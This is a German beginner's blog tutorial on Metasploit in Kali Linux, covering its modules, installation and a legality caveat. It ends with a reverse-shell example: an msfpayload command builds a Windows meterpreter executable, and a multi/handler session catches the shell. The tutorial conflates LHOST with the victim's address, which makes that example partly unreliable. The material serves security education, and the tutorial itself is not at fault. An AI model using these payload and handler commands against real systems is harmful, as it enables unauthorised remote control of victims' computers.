Metasploit Tutorial – Starten mit Kali Linux (Ethical Hacking)

Metasploit Tutorial - Hacking Series Tutorial Steffen Lippke

Du brauchst ein Metasploit Tutorial?

Wie funktioniert die Software und wie kannst Du damit Systeme hacken?

Hier ist der komplette Guide.

Starten wir!

Was ist Metasploit?

Rapid7 steckt hinter Metasploit
Rapid7 steckt hinter Metasploit

Metasploit ist eine Software zur Ausnutzung von Schwachstellen. Die Software beinhaltet eine Datenbank an Schadcode, welcher die Ausnutzung einer Schwachstelle erleichtert. Die Software kann andere Software angreifen, indem speziell entwickelter Schadcode die Logik aushebelt. Die Software ist eine Mischung aus einer Datenbank und ein Framework, um unkompliziert Systeme zu hacken. Es ist das Schweizer Taschenmesser für Hacker.

Viele glauben, dass Metasploit alles kann, aber für die Verwendung sind einige Voraussetzungen möglich.

  1. Du musst die Maschine im Netzwerk erreichen.
  2. Der Exploit muss vorliegen. Oftmals arbeiten Scanner wie NMAP (Network Mapper) mit Abschätzungen (Heuristiken) und sind deshalb ungenau.

Alle Kompoenten erklärt

Metasploit besteht aus verschiedenen Komponenten:

Alles in einer Packung
Alles in einer Packung

Exploits

Die Software-Module öffnen Dir das Tor in die Software. Sie nutzen Buffer-Overflows aus, fehlende Überprüfungen von Eingaben oder verschiedene Injections. Ein Exploit alleine ist wertlos ohne ein …

Payloads

Die „Code-Bomben“ sind der eingeschleuste Schadcode, welcher sich auf den Opfer-Computer negativ auswirkt. Entweder soll der Payload das Ziel zerstören (Daten löschen, Prozessor schmelzen lassen usw… ) oder der Hacker will dem Opfer-Computer Befehle übergeben, um Daten zu extrahieren.

Auxilaries

Die kleinen Helfer-Module sind nicht direkt Bestandteil der Ausnutzungen (Exploits), können aber den Prozess unterstützten. Das kann eine Unschärfe-Suche oder -Eingabe (Fuzzing) oder Scannen sein. Je nach Exploit brauchst Du andere Hilfsmittel.

Post-Exploit

Wenn der Hacker sich Zugang zu einem System verschafft hat, muss er seine Rechte im Computer und / oder Netzwerk ausbauen. Eine Kette an Exploits ist notwendig, um weitere Schwachstellen auszunutzen. Die Reihenfolge ist wichtig, weil der Hacker die Barrieren (Root-Rechte, Netzwerk-Rechte, AD-Rechte) im Computernetzwerk in der Regel nur schrittweise überwinden kann. In den seltensten Fällen ist er gleich der Gott im Netzwerk.

Msfdb

Metasploit nutzt Postgres als die Datenbank zur Verwaltung von Exploits. Metasploit kann viel, aber die Verwendung der richtigen Komponenten ist entscheidend. Je mehr Module Metasploit hält und je weniger Leistung Dein Computer hat, desto langsamer arbeitet Metasploit. Eine echte Datenbank verbessert die Performance.

Ist Metasploit nicht illegal?

Die Software Metasploit ist wie ein Küchenmesser.

Entweder kochst Du ein leckeres Menu mit diesem Werkzeug oder Du missbrauchst das Werkzeug, um eine Person zu erstechen. In Deutschland gibt es für solche Dual-Use Tools einige Gesetzestxte. Generell gilt, dass Du eine explizite schriftliche Erlaubnis brauchst, wenn Du die Software gegen Software anderer einsetzt.

Wer verwendet Metasploit?

Penetrationstester verwenden diese Software, um Probleme zu erkennen und das Unternehmen zu beraten.

  • Wo sind Sicherheitslücken?
  • Wie kann ich in Software eindringen?
  • Wie kann ich die Lücken schließen?

Metasploit ist bei dieser Aufgabe eine gute Hilfe.

Installation

Am Einfachsten installierst Du nicht Metasploit, sondern nutzt ein fertiges Betriebssystem mit Metasploit. Kali Linux oder Parrot sind Distributionen, welche eine Metasploit-Version mit sich bringen.

Die Installation der Vielzahl an Hacking-Software kann aufwendig sein und einige musst Du selbst kompilieren, um diese zu verwenden. Diese Betriebssysteme bringen noch viele weitere Tools mit sich. In diesem Tutorial habe ich beschrieben, wie Du Kali installierst.

Alternativ

Das folgende Kommando installiert Metasploit mit dem Nightly Installer unter Linux. Dazu führst Du ein Script aus, welches eine deb-Datei herunterlädt und auf Deinem Computer installiert. Für die Installation sind Admin-Rechte notwendig:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Erster Start: So beginnst Du mit Metasploit

Starte die Software mit msfconsole oder mit dem Startmenupunkt in Kali / Parrot.

Das Laden der Datenbank kann wenige Sekunden bis Minuten dauern!

Einen Exploit lädst Du, indem Du den einzigartigen Pfad eintippst und davor ein use schreibst:

use exploit/windows/smb/…

Die Namen besteht aus <Plattform>/<System-Architektur>/<Produkt-Name/< evnt. Bestandteil>

Im Gegensatz zu der Wahrnehmung vieler kannst Du nicht jeden Exploit auf jedes System loslassen. Die meisten Exploits prallen am System ab. Jeder Exploit ist (in der Regel) sehr individuell. Du musst Dir vorher sicher sein, welches System welche Software installiert hat und ob alle nötige Konditionen erfüllt sind:

  • Das System muss erreichbar sein
  • Die Vulnerability Scan ist genau und das System ist kein False-Friend (Honeypot)
  • Die exploitbaren Module / Software-Komponenten sind aktiv
  • Kein Antivirus oder Firewall Deine Arbeit verhindert
  • Ein ungünstige (oder sichere) Konfiguration des Systems

Es passiert nix?

In der Regel musst Du immer etwas experimentieren und testen was möglich ist. Du musst mehrere Exploits ausprobieren oder diese mehrfach laufen lassen. Wenn etwas nicht wie geplant funktioniert, musst Du einen Schritt zurückgehen und neue, weitere Informationen sammeln. Die Hacker müssen das System scannen und mehr über das System herausfinden:

  • Welche Programme sind noch auf den Computer installiert?
  • Welchen Versionsstand haben die Programme?
  • Gibt es anderen Computer in der Nähe, welche übernehmen kann, um von dort aus den Zielcomputer zu übernehmen?

Jetzt kommt der Exploit

Mit show options kannst Du sehen, welche Eingaben Du zu dem Exploit tätigen kannst.

Fülle LHOST als die Zielmaschine aus. Genauso wie LPORT – der Port der Anwendung. Bei einer Reverse Shell sind LHOST und LPORT der Ort, hinter der die Shell auf Befehle wartet.

Verwendung am Beispiel Reverse Shell

Was ist eine Reverse Shell?

Normalerweise kannst Du Befehle an einen entfernten Computer senden. Weil aber die Firewall gegen solche Angriffe schützt musst Du das Spiel umdrehen.

Der Opfer-Computer muss die Befehle von dem Angriffscomputer „abhorchen“ und fragt dazu den Angriffscomputer ab. Die meisten Firewalls unterbinden meistens den hineinkommenden Datenverkehr und nicht den herausgehenden.

Mit dem folgenden Beispiel kannst Du eine Reverse Shell erstellen. Der Opfer-Computer ist eine alte Windows-Kiste mit der internen IP 10.3.2.3 – Du musst im gleichen Netz sein, wie der Opfer-Computer.

Das folgende Kommando erstellt eine ausführbare Windows-Datei, welche über den Port 44221 einen Reverse Shell aufbaut.

./msfpayload windows/meterpreter/reverse_tcp lhost=10.3.2.3 lport=44221 X > /tmp/iambad.exe

Die schwerste Aufgabe ist jetzt die .exe auf den Opfer-Computer zu ziehen. Dafür brauchst Du erst einen Exploit aus der Ferne oder Hacking-Gadget, um die Daten zu transferieren.

Wenn das geschafft ist, startest Du den Reverse Shell als einen Server auf Deinem Angriffs-Computer:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.3.2.3
lhost => 10.3.2.3
msf exploit(handler) > set lport 44221
lport => 44221
msf exploit(handler) > run

Führe die Reverse Shell auf dem Angriffscomputer aus und jetzt sollte eine Eingabezeile mit meterpreter> erscheinen

Mehr dazu findest Du unter https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-a-reverse-shell-in-metasploit.html


Jeden Monat teile ich mit Mitgliedern
4 neue praxisnahe Tutorials (je 1000+ Wörter).


Trage Deine Mail, damit Du
Deine Coding + Hacking Skills erweitern kannst!

Die Webseite nutzt nur technisch notwendige Cookies.